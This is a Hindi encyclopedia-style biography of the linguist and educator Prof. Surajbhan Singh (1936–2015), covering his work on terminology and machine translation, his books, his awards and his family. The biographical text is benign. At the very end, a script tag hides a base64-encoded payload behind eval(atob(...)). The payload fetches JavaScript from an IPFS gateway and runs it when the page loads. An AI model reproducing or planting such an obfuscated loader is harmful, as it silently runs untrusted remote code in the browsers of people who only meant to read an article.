सूरजभान सिंह
सूरजभान सिंह
| |
पूरा नाम | प्रो. सूरजभान सिंह |
जन्म | 1936 |
जन्म भूमि | देहरादून |
मृत्यु | 19 मार्च, 2015 |
पति/पत्नी | उमा सिंह |
संतान | पुत्री- मीनाक्षी थापा, पुत्र- मनीष सिंह, आशीष सिंह और विकास सिंह |
कर्म भूमि | भारत |
मुख्य रचनाएँ | ‘हिंदी का वाक्यात्मक व्याकरण’, ‘हिंदी भाषाः संरचना और प्रयोग’, ‘अंग्रेज़ी-हिंदी अनुवाद व्याकरण’ |
भाषा | हिंदी और अंग्रेज़ी |
विद्यालय | दिल्ली विश्वविद्यालय |
शिक्षा | एम.ए. (अंग्रेज़ी, हिंदी और भाषाविज्ञान), पीएच. डी (भाषाविज्ञान) |
पुरस्कार-उपाधि | आत्माराम पुरस्कार |
नागरिकता | भारतीय |
अन्य जानकारी | सन् 1988 से 1994 तक नयी दिल्ली में भारत सरकार के वैज्ञानिक व तकनीकी शब्दावली आयोग के अध्यक्ष रहे। इसी दौरान इनके मार्गदर्शन में अंग्रेज़ी-हिंदी की पारिभाषिक शब्दावली और कोशविज्ञान का कंप्यूटरीकरण किया गया। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
प्रो. सूरजभान सिंह (अंग्रेज़ी: Surajbhan Singh, जन्म: 1936 - मृत्यु: 19 मार्च, 2015) प्रसिद्ध भाषा चिंतक और शिक्षाविद थे।
जीवन परिचय
- सूरजभान सिंह का सन् 1936 में देहरादून में जन्म हुआ था।
- सन् 1988 से 1994 तक नयी दिल्ली में भारत सरकार के वैज्ञानिक व तकनीकी शब्दावली आयोग के अध्यक्ष रहे। इसी दौरान इनके मार्गदर्शन में अंग्रेज़ी-हिंदी की पारिभाषिक शब्दावली और कोशविज्ञान का कंप्यूटरीकरण किया गया।
- इससे पूर्व 10 वर्षों तक अर्थात् सन् 1995 तक सूरजभान सिंह केंद्रीय हिंदी संस्थान के नयी दिल्ली और आगरा के केंद्रों में प्रोफ़ेसर के रूप में कार्य करते रहे।
- सन् 1997 से 2004 तक सी डैक, पुणे में आप सलाहकार रहे और इस पद पर कार्य करते हुए आप कंप्यूटर और वैब-आधारित ‘लीला’ हिंदी स्वयं शिक्षक सीरीज़ और ‘मंत्र’ नामक अंग्रेज़ी-हिंदी अनुवाद प्रणाली के अनेक प्रोग्रामों से संबद्ध रहे।
- रोमानिया के बुकारेस्ट विश्वविद्यालय और फ्रांस के पेरिस विश्वविद्यालय में ये विज़िटिंग प्रोफ़ेसर रहे और अमरीका केपेन्सिल्वेनिया विश्वविद्यालय में विज़िटिंग प्रोफ़ेसर रहते हुए आपने कंप्यूटर-साधित अंग्रेज़ी-हिंदी अनुवाद प्रणाली को सुगम बनाने के लिए हिंदी का कंप्यूटर व्याकरण विकसित किया।
प्रकाशित पुस्तकें
सूरजभान सिंह द्वारा लिखित बारह से अधिक पुस्तकें और सौ से अधिक शोध लेख देश-विदेश से प्रकाशित हैं। दो पुस्तकें फ्रांस से और दो पुस्तकें रोमानिया से भी प्रकाशित हैं।
- ‘हिंदी का वाक्यात्मक व्याकरण’ (1985)
- 'Manual de Hindi a I'usage de Francophones' (1986)
- ‘हिंदी भाषाः संरचना और प्रयोग’ (1991)
- ‘अंग्रेज़ी-हिंदी अनुवाद व्याकरण’ (2003)
सम्मान
भाषाविज्ञान के क्षेत्र में उत्कृष्ट और प्रशंसनीय कार्य करने के लिए राष्ट्रपति पुरस्कार सहित अनेक राष्ट्रीय और अंतर्राष्ट्रीय पुरस्कारों से सम्मानित हुए जिनमें प्रमुख निम्नलिखित हैं-
- सन् 1991 में हिंदी अकादमी, दिल्ली से पुरस्कार-सम्मान प्राप्त।
- 1992 में उत्तर प्रदेश सरकार, लखनऊ से पुरस्कार-सम्मान प्राप्त।
- सन् 2000 में महामहिम राष्ट्रपति द्वारा भारत सरकार के ‘आत्माराम पुरस्कार’ से सम्मानित।
परिवार
प्रो. सूरजभान सिंह के परिवार में इस समय उनकी धर्मपत्नी श्रीमती उमा सिंह, पुत्री मीनाक्षी थापा, दामाद कर्नल थापा, पुत्र- मनीष सिंह - सुनीता (पत्नी), आशीष सिंह – अंजली (पत्नी) और विकास सिंह - अनीता (पत्नी) और उनके नाती सागर थापा हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
- प्रो. सूरजभान सिंह -चित्र व जीवन वृत्त
- Angrezi Hindi Anuvad Vyakaran
- जिन खोजा तिन पाइयाँ -प्रो. सूरजभान सिंह
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>